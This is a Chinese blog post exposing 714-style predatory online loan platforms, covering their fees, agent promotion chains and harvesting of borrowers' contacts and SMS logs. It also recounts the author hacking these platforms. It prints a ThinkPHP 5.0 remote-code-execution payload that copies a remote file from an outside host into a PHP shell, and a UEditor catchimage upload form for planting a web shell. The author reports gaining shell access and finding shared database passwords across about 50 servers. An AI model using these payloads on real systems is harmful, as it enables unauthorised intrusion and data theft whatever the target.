焦点访谈-套路贷高利贷究竟有多恶心

好大一条虫 375 次浏览 0

我与714高炮平台那些不为人知的秘密

714高炮指那些期限为7天或14天的高利息网络贷款,其包含高额的“砍头息”及“逾期费用”。714高炮基本上90%都是以7天期为主。利息方面年化利率基本上都超过了1500%

说明

以借贷为业的民间借贷合同无效,意味着所有714、小高炮、借条等网络高利贷,合同都是无效的,借款人就算逾期,就算不还款,因为合同无效,放贷人也无法起诉到法院。这对遭遇网络高利贷暴力催收的人来说,无疑是一个福音:既然你爆我通讯录,我就是不还款,有本事你去告呗?反正法院也不支持你!

调查

经过长期的摸排经验累积主要有以下几个部分组成

1.直接
放款人 - 借贷人
公司放款 - 中间商 - 借贷人

2.间接
推广 - 贷超平台 - 714平台

代理商负责推广 - 每个新开客户(10-14)(14-18元)不等,据我所知,做代理的几乎每天都可以赚几千。至于数据的来源就有待考究了。

这其中还涉及到前期的审核,例如收集通讯录,实时记载短信记录,以及后期的催收。暴力催收是违法行为。

发现

此开发为TP5.0框架,直接进行POST写shell

POC:

?s=captcha&Fuck=copy("http://XX/1.txt","1.php") 

POST: 

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=Fuck

 

每一个关键词组合利用所获得的URL总数也不一样具体要靠想象
焦点访谈-套路贷高利贷究竟有多恶心
焦点访谈-套路贷高利贷究竟有多恶心

分析:

`borrow_amount = 借款金额

borrow_days = 借款天数

borrow_rate = 利率

overdue_rate = 逾期利率

collection_rate = 催收服务费费率(借款金额x%催收天数)

verify_fee = 信息认证费

insurance_fee = 保险服务费

interest_fee = 借款利息

borrow_servcie_fee = 借款手续费

account_manage_fee = 账户管理费

truely_amount = 实际到账金额

total_fee = 服务总费用 `
例如:
借款2000元,扣除总费用600,剩余1400,如此高额的手续费。

另外还收集用户的个人隐私 例如短信记录以及通话记录,手机联系人。

现在来说下继714之后新的玩法

在前段时间,摸索高利贷平台.发现了某系统。

焦点访谈-套路贷高利贷究竟有多恶心

这是一套基于UI框架二开的后台管理程序,结合了商城,H5推广,管理,具体的源码之前在GITHUB找到了,未保存。

焦点访谈-套路贷高利贷究竟有多恶心

所见即所得,通过查询特征发现一群网站,所搜集的通讯录号码有千万,涉及百万借贷人。管理也是人才,有钱,阿里开了五十多台服务器。

说明

对比之前的714是直接收取手续费用,现在的714是通过手机评估,以及购买手机收取手续费用.举个例子,你需要借款,必须购买手机,手机为一千元,你需要支付400元的鉴定费用,才可以拿到1000元的借款,变相的还是付出了400的利息。其本质还是高利贷.

根据网上的漏洞利用

<form action="http://xx/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">

  <p>shell addr:<input type="text" name="source[]" /></p >

  <input type="submit" value="Submit" />

</form>

 

通过对SHELL的比对,我得到了以下所有的信息
以47.xxx.xx.xx开头管理员总计开了大概有50台服务器作为高利贷推广放贷。

焦点访谈-套路贷高利贷究竟有多恶心

相同的框架相同的数据库密码,简称真香。。

发表评论 取消回复
表情 图片 链接 代码